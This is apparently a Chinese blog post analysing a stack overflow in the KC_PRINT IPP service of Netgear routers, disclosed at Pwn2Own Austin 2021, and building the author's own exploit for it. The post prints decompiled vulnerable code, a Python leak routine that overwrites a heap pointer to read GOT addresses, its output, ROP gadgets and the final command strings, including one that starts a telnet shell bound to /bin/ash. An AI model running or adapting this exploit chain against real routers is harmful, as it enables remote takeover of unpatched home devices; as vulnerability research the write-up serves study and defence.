Nccgroup Pwn2Own 中攻破 Netgear R6700路由器的漏洞分析
2022-9-8 16:6:0 Author: bestwing.me(查看原文) 阅读量:46 收藏

前言

前几天 sectoday 推了一个关于 NCC 研究员参加 Pwn2Own Austin 2021 比赛攻破路由器、NAS、打印机的技术细节分享 的推送。

其中有一个篇章是讲 Netgear R6700 Router 的, 恰好我上上篇分享的文章 PSV-2020-0437:Buffer-Overflow-on-Some-Netgear-Routers 所使用的路由器型号以及固件版本也在该漏洞影响范围之内。因此打算分析这个漏洞,并自己写一下这个漏洞的 exploit 。

注:

分析以及利用的路由器型号为: R6400v2 , 固件版本为:V1.0.4.102_10.0.75

漏洞分析

通过 slide 可以得知, nccgroup 所发现的漏洞在 KC_PRINT 这个程序里,所攻击端口为 631 端口。 根据我浅薄的知识,第一反映这是一个和 IPP (Internet Printing Protocol,缩写IPP, 是一个用于通过互联网打印文件的标准网络协议) 有关的程序。 在后面的进一步分析的过程中,确实验证了我的猜想。

KC_PRINT 使用不同的线程来处理不同的功能,

而该漏洞是发生在 ipp_server 线程里面的。 其大致入口代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
if ( setsockopt(fd, 1, 2, &optval, 4u) < 0 )
{
perror("ipp_server: setsockopt SO_REUSEADDR failed");
close(fd);
pthread_attr_destroy(&attr);
pthread_exit(0);
}

s.sa_family = 2;
*(_DWORD *)&s.sa_data[2] = htonl(0);
*(_WORD *)s.sa_data = htons(631u);
if ( bind(fd, &s, 0x10u) < 0 )
...

listen(fd, 128);

while ( flag )
{
newfd = accept(fd, &addr, &addr_len);
if ( newfd >= 0 )
{
sub_A0FC(1);
v1[0] = 60;
v1[1] = 0;
if ( setsockopt(newfd, 1, 20, v1, 8u) < 0 )
perror("ipp_server: setsockopt SO_RCVTIMEO failed");
Fd = malloc(8u);
if ( Fd )
{
memset(Fd, 0, 8u);
*Fd = newfd;
pthread_mutex_lock(&stru_18B40);
v6 = sub_16068();
if ( v6 < 0 )
{
...
}
else if ( pthread_create(&dword_18740[v6], &attr, do_ipp_http_thread, Fd) )

...

然后会进入到 do_ipp_http_thread 函数里, 该函数会进一步调用一个 do_http 的函数。 该函数用来处理对应的 IPP 协议的 HTTP 请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
memset(buf, 0, sizeof(buf));
n = recv_n(fd, buf, 1024);
if ( n <= 0 )
return -1;
if ( strstr(buf, "100-continue") )
{
...
}
HTTP_INPUT = strstr(buf, "POST /USB");
if ( !HTTP_INPUT )
return -1;
HTTP_INPUT += 9;
v18 = strstr(HTTP_INPUT, "_LQ");
if ( !v18 )
return -1;
v13 = *v18;
*v18 = 0;
usblp_index = atoi(HTTP_INPUT);
*v18 = v13;
if ( usblp_index > 10 )
return -1;
if ( !is_printer_connected(usblp_index) )
return -1;
v22[1] = usblp_index;
HTTP_INPUT = strstr(buf, "Content-Length: ");
if ( !HTTP_INPUT )
{
...
}
HTTP_INPUT += 16;
v18 = strstr(HTTP_INPUT, "\r\n");
if ( !v18 )
return -1;
v13 = *v18;
*v18 = 0;
content_len = atoi(HTTP_INPUT);
*v18 = v13;
memset(recv_buf, 0, sizeof(recv_buf));
n = recv(fd, recv_buf, 8u, 0);
if ( n != 8 )
return -1;
if ( (recv_buf[2] || recv_buf[3] != 2) && (recv_buf[2] || recv_buf[3] != 6) )
{
v14 = do_airippWithContentLength(v22, content_len, recv_buf);
if ( v14 < 0 )
return -1;
return 0;
}

首先 n = recv_n(fd, buf, 1024); 接收 1024 的消息,这一部分消息以 \r\n 作为结束标识, 然后会取出 Content-Length: 的值作为 content_len 传入 do_airippWithContentLength 函数中。

在调用 do_airippWithContentLength 函数之前, 还会读取一个 8 字节长度的消息

1
2
memset(recv_buf, 0, sizeof(recv_buf));
n = recv(fd, recv_buf, 8u, 0);

该 8 字节长度的消息有一定的格式, 当满足 (recv_buf[2] || recv_buf[3] != 2) && (recv_buf[2] || recv_buf[3] != 6) 条件的时候才会调用 do_airippWithContentLength 函数。

且进入到 do_airippWithContentLength 函数后, 会根据这个 8 个字节长度的消息, 来决定进一步调用哪个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __fastcall do_airippWithContentLength(int *a1, size_t content_len, const void *buf)
{
_BYTE *recv_buf;
int v8;
int Jobs;

v8 = *a1;
recv_buf = malloc(content_len);
if ( !recv_buf )
return -1;
memcpy(recv_buf, buf, 8u);
if ( toRead(v8, (recv_buf + 8), content_len - 8) >= 0 )
{
if ( recv_buf[2] || recv_buf[3] != 11 )
{
if ( recv_buf[2] || recv_buf[3] != 4 )
{
if ( recv_buf[2] || recv_buf[3] != 8 )
{
if ( recv_buf[2] || recv_buf[3] != 9 )
{
if ( recv_buf[2] || recv_buf[3] != 10 )
{
if ( recv_buf[2] || recv_buf[3] != 5 )
Jobs = sub_D0C8(a1, recv_buf);
else
Jobs = Response_Create_Job(a1, recv_buf, content_len);
}
else
{
Jobs = Response_Get_Jobs(a1, recv_buf, content_len);
}
}
else
{
Jobs = Response_Get_Job_Attributes(a1, recv_buf, content_len);
}
}
else
{
printf("Client %d: Cancel-Job\n", v8);
Jobs = sub_10EA0(a1, recv_buf);
}
}


例如此处, 如果我们想调用 Response_Get_Jobs 函数, 我们就得进一步满足 recv_buf[2] || recv_buf[3] == 10 的条件, 才能进到 Response_Get_Jobs 函数里。因此我们可以构造如下的消息:

b'\x00\x00\x00\x0a\x00\x00\x99\x99' 让其满足下标为 3 的时候 为 10 即可。

另外, 在 do_http 函数中有一个 if ( !is_printer_connected(usblp_index) ) // 检查是否有打印机设备挂载 的判断,该函数会读取 /proc/printer_status 的内容来判断是否有打印机挂载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if ( printer_status )
{
fd = open("/proc/printer_status", 0);
if ( fd > 0 )
{
memset(printer_status, 0, 0x400u);
v7 = read(fd, printer_status, 0x400u);
close(fd);
if ( v7 > 0 )
{
*(printer_status + v7) = 0;
memset(s, 0, sizeof(s));
snprintf(s, 0x10u, "usblp%d", usblp_index - 1);
v7 = strstr(printer_status, s) != 0;
free(printer_status);
printer_status = 0;
return v7;
}
else
{
...
}
}

这里我没有挂载打印机,因此我通过 gdb 来绕过这个判断。

此时已经进到 do_airippWithContentLength 函数, 该函数会进一步根据 content-len - 8 读取后续的更多消息内容。而这个 content-len 是没有进行长度检查的,这里以 Response_Get_Jobs 函数为例, 来做进一步的分析。

Response_Get_Jobs 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
flag1 = 0;
prefix_size = 0x4A;
prefix_ptr = malloc(0x4Au);
if ( !prefix_ptr )
{
perror("Response_Get_Jobs: malloc xx");
return -1;
}
memset(prefix_ptr, 0, prefix_size);
cnt = memcpy_n(prefix_ptr, total, &recv_buf[offset], 2u);
total += cnt;
if ( *recv_buf == 1 && !recv_buf[1] )
flag1 = 1;
offset += 2;
*(prefix_ptr + total++) = 0;
*(prefix_ptr + total++) = 0;
offset += 2;
total += memcpy_n(prefix_ptr, total, &recv_buf[offset], 4u);
offset += 4;
v12 = 66;
cnt = memcpy_n(prefix_ptr, total, &unk_1823C, 0x42u);
total += cnt;
++offset;
memset(v9, 0, sizeof(v9));
memset(buf_2048, 0, sizeof(buf_2048));
buf_2048[subffix_offset++] = 5;
if ( !flag1 )
{
while ( recv_buf[offset] != 3 && offset <= content_len )
{
if ( recv_buf[offset] == 0x44 && !flag2 )
{
flag2 = 1;
buf_2048[subffix_offset++] = 68;
copy_len = (recv_buf[offset + 1] << 8) + recv_buf[offset + 2];
cnt = memcpy_n(buf_2048, subffix_offset, &recv_buf[offset + 1], copy_len + 2);
subffix_offset += cnt;
}
++offset;
copy_len = (recv_buf[offset] << 8) + recv_buf[offset + 1];
offset += 2 + copy_len;
copy_len = (recv_buf[offset] << 8) + recv_buf[offset + 1];
offset += 2;
if ( flag2 )
{
memset(command, 0, sizeof(command));
memcpy(command, &recv_buf[offset], copy_len);
if ( !strcmp(command, "job-media-sheets-completed") )

存在一个缓冲区溢出:

1
2
3
4
if ( flag2 )
{
memset(command, 0, sizeof(command));
memcpy(command, &recv_buf[offset], copy_len);

此处的 copy_len 是完全可控的, 且 buf_2048 在栈上, 我们只需让 flag1 不等于1 , flag2 等于 1 ,就能进入到这个分支, 即满足 *recv_buf == 1 && !recv_buf[1] recv_buf[offset] == 0x44 条件即可。

利用编写

该程序保护都没有开启

1
2
3
4
5
6
7
8
9
pwndbg> checksec
[*] '/workhub/Dropbox/Attachments/IoT and BaseBand/Router/Netgear/R6400v2/fs/squashfs-root/usr/bin/KC_PRINT'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)

pwndbg>

既没有 canary 也没有 PIE , 这极大的方便了我们的漏洞利用。

系统随机化开启情况:

1
2

1

ASLR 等级为 1, 即栈和共享库是完全随机的, 但是堆的分配不随机。

我们的目的是通过这个栈溢出漏洞, 来达到任意命令执行的目的。我们检索这个程序,发现程序里并没有现成的 system 或者 popen 函数,因此 ret2system 的方法并不能直接使用, 因此我们需要绕过随机化,需要泄漏 uclibc 中的 system 地址, 因此首先需要一个信息泄漏的方法,来 leak uclibc 的加载基址。

Bypass ASLR

其实一般这种思路, 我们可以通过 ROP , 调用 write 等函数读取 got 表中的值来做 uclibc 的地址。 但是这个方法我们可能需要知道我们当前链接的 fd 。如果不知道 fd , 我们可能需要爆破这个, 但由于这个程序是多线程而不是父子进程的形式, 如果失败可能会造成 crash。

进一步分析函数, 以及阅读 slide ,我们发现程序中有一个可以做任意地址读写的方法。

我们可以通过栈溢出, 来覆盖 prefix_ptrprefix_size 通过控制这两个变量,我们就可以通 write_ipp_response 将我们想读取的内容发送回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
char command[64]; 
char buf_2048[2048];
char v9[2048];
int v10;
size_t copy_len;
int v12;
size_t cnt;
size_t prefix_size;
int total;
void *prefix_ptr;
int v17;
int client_sock;
int v19;
int v20;
char flag1;
char v22;
char job_state_resons;
char job_state;
char job_originating_user_name;
char job_name;
char job_id;
char v28;
char flag2;
size_t final_size;
int offset;
size_t response_len;
void *final_ptr;
size_t subffix_offset;

最首先的想法肯定是通过覆盖 prefix_ptr 指向 .got 来做读写, 但是如果我们直接的指向了函数的 .got , 例如 strcpy_ptr

1
.got:000180F0 strcpy_ptr      DCD __imp_strcpy        ; DATA XREF: strcpy+8

但是在调用 write_ipp_response 后, 程序会 free(prefix_ptr);

1
2
3
4
5
6
v10 = write_ipp_response(client_sock, final_ptr, response_len);
if ( prefix_ptr )
{
free(prefix_ptr);
prefix_ptr = 0;
}

如果是直接控制 prefix_ptr == 000180F0 , 在 free 的过程中会造成崩溃。 最后我们发现当把 prefix_ptr 指向 .got 的开头

1
2
3
4
.got:000180E4                                         ; sub_8C0C+8↑o ...
.got:000180E8 DCD 0
.got:000180EC off_180EC DCD 0 ; DATA XREF: sub_8C0C+C↑r
.got:000180F0 strcpy_ptr DCD __imp_strcpy ; DATA XREF: strcpy+8↑r

即将 prefix_ptr 指向 000180E4 是不会崩溃的。

这里和 小伙伴 @aobo @leomxxj 讨论来下 , 猜测应该是如果是 free(0x000180EC) , 当 uclibc 会对 libc 的地址写, 造成 crash
如果 free(0x00180E4)

pwndbg> telescope 0x000180E4
00:0000│ 0x180e4 —▸ 0x1800c ◂— 0x1
01:0004│ 0x180e8 —▸ 0x40024030 ◂— 0x0
pwndbg> vmmap 0x1800c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x18000 0x19000 rw-p 1000 10000 /usr/bin/KC_PRINT +0xc
0x1800c 地址是可读写的

另外在编写这部分 exploit 的时候, 我们发现处理 recv_buf 消息的时候

1
2
3
4
5
6
if ( !flag1 )
{
while ( recv_buf[offset] != 3 && offset <= content_len )
{
if ( recv_buf[offset] == 0x44 && !flag2 )
{

这部分是一个 while 循环,只有当消息为 \x03 的时候, 才会结束循环, 因此我们需要 offset 设置好,

1
2
3
4
5
    offset += copy_len;
.text:00010A30 LDR R2, [R11,#offset]
.text:00010A34 LDR R3, [R11,#copy_len]
.text:00010A38 ADD R3, R2, R3
.text:00010A3C STR R3, [R11,#-0x14]

结束循环到 write_ipp_response 函数之前 ,我们还需要过两个地方, 第一个处, 为了方便我们在 command 前设置一个 job-id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
    offset += 2;                              
if ( flag2 )
{
memset(command, 0, sizeof(command));
memcpy(command, &recv_buf[offset], copy_len);
if ( !strcmp(command, "job-media-sheets-completed") )
{
v22 = 1;
}
else if ( !strcmp(command, "job-state-reasons") )
{
job_state_resons = 1;
}
else if ( !strcmp(command, "job-name") )
{
job_name = 1;
}
else if ( !strcmp(command, "job-originating-user-name") )
{
job_originating_user_name = 1;
}
else if ( !strcmp(command, "job-state") )
{
job_state = 1;
}
else if ( !strcmp(command, "job-id") )
{
job_id = 1;
}
else
{
if ( v28 )
{
buf_2048[subffix_offset++] = 68;
buf_2048[subffix_offset++] = 0;
buf_2048[subffix_offset++] = 0;
}
cnt = memcpy_n(buf_2048, subffix_offset, &recv_buf[offset - 2], copy_len + 2);
subffix_offset += cnt;
v28 = 1;
}
}
offset += copy_len;
}
}
final_size += prefix_size;
if ( flag1 )
v20 = sub_11D68(v17, 1, 1, 1, 1, 1, 1, v9);
else
v20 = sub_11D68(v17, job_id, job_name, job_originating_user_name, job_state, job_state_resons, v22, v9);
if ( v20 > 0 )

第二处 final_ptr = malloc(++final_size);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
LABEL_54:
*(final_ptr + response_len++) = 3;
v10 = write_ipp_response(client_sock, final_ptr, response_len);
if ( prefix_ptr )
{
free(prefix_ptr);
prefix_ptr = 0;
}
if ( final_ptr )
{
free(final_ptr);
final_ptr = 0;
}
if ( v10 )
return -1;
else
return 0;
}
final_ptr = malloc(++final_size);
if ( final_ptr )
{
memset(final_ptr, 0, final_size);
cnt = memcpy_n(final_ptr, response_len, prefix_ptr, prefix_size);
response_len += cnt;
goto LABEL_54;
}

我们得让 final_size 的值不能太大,不然分配不出来程序就不会走到 write_ipp_response 里,

1
2
3
4
5
6
7
.text:00010D78 loc_10D78                               ; CODE XREF: Response_Get_Jobs+868↑j
.text:00010D78 LDR R3, [R11,#-0x18]
.text:00010D7C ADD R3, R3, #1
.text:00010D80 STR R3, [R11,#-0x18]
.text:00010D84 LDR R3, [R11,#-0x18]
.text:00010D88 MOV R0, R3 ; size
.text:00010D8C BL malloc

即需要设置 [R11, #-0x18] 的值, 这是在栈上的。 最后我 leak 的代码大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def leak_uclibc():


recv_buf1 = b'\x00\x00\x00\x0a\x00\x00\x99\x99'
recv_buf2 = b'\x00\x44\x00\x00\x10\x5d'
recv_buf2 += b'job-id\x00\x00'

junkdata = cyclic(0x104c , n=4)
junkdata = bytearray(junkdata)
junkdata[1026: 1026+ len(cmd)] = cmd
junkdata[0x103c: 0x103c + 4] = p32(0x106a-0xe)
junkdata[0x1048: 0x1048 + 4] = p32(0x20)
junkdata = bytes(junkdata)

recv_buf2 += junkdata
recv_buf2 += p32(20)
recv_buf2 += p32(0x180E4)
recv_buf2 += b'\x03'

payload = b'POST /USB1_LQ\r\n'
payload += b'Content-Length: %b\r\n' % str(len(recv_buf1 + recv_buf2)).encode('latin1')
payload += b'\r\n'

p = remote("192.168.1.1", 631)
p.send(payload)
p.send(recv_buf1)
p.send(recv_buf2)

p.recvuntil(b'\r\n\r\n')
p.recvn(8)
_dl_linux_resolve = u32(p.recvn(4))
print('_dl_linux_resolve : {:#x}'.format(_dl_linux_resolve))
ld_uClibc = _dl_linux_resolve - 0x3e70
print('ld_uClibc : {:#x}'.format(ld_uClibc))
p.recvn(4)
printf_addr = u32(p.recvn(4))
print('printf : {:#x}'.format(printf_addr))
uClibc = printf_addr - 0x360e0
print('uClibc : {:#x}'.format(uClibc))




return ld_uClibc, uClibc

Leak:

1
2
3
4
5
6
$ python3 exp_ncc_netgear_ipp.py
[+] Opening connection to 192.168.1.1 on port 631: Done
_dl_linux_resolve : 0x40021e70
ld_uClibc : 0x4001e000
printf : 0x401700e0
uClibc : 0x4013a000

Arbitrary command execution

通过泄漏 uclibc 的地址, 然后可以计算 system 的地址。 然后我们就可以进一步做劫持返回地址工作。首先我们需要有个一个地址来存储我们 system 将执行的字符串。 回顾上文, 我们提及到了系统的随机化等级为 1

系统随机化开启情况:

1
2

1

因此我们可以在堆上查找是否有可控的内容, 通过 hexdump 查找。

我们发现我们的 payload 会存储在 堆上, 因此 , 我们可以将要执行的命令, 在第一次链接的时候 , 就将命令写入。

1
2
3
4
5
6
7
cmd = b'/bin/utelnetd -p 3343 -l /bin/ash \x00'
cmd = b'/bin/touch /tmp/hacked'
cmd += b"\x00" * (len(cmd) % 4)

def leak_uclibc():
...
junkdata[1026: 1026+ len(cmd)] = cmd

在覆盖返回地址之前 , 除了在 leak 需要注意的那几个变量以外 ,我们还需要单独注意

  • flag1
  • v17
  • response_len

等变量的值, 要单独重新赋值。

最后我们需要将 R0 的值指向堆上的 0x1b880 地址。 所以我们需要单独几个 gadget , 这里我使用的是两个 gadget

首先通过第一个 gadget 控制 R3 为 0x1b880

1
0x00001504 : pop {r3, r4, fp, pc}

然后通过 第二个 gadgetR3 的值赋值给 R0 并且控制 PC 跳转到 system 函数上,从而完成任意命令执行。

1
0x00000a80 : mov r0, r3 ; pop {fp, pc}

最后就可以完成任意命令执行了。

参考链接

NCC Con Europe 2022 – Pwn2Own Austin Presentations


文章来源: https://bestwing.me/nccgroup-in-pwn2own-pwned-netgear-r6700-route-vulnerability-analysis.html
如有侵权请联系:admin#unsafe.sh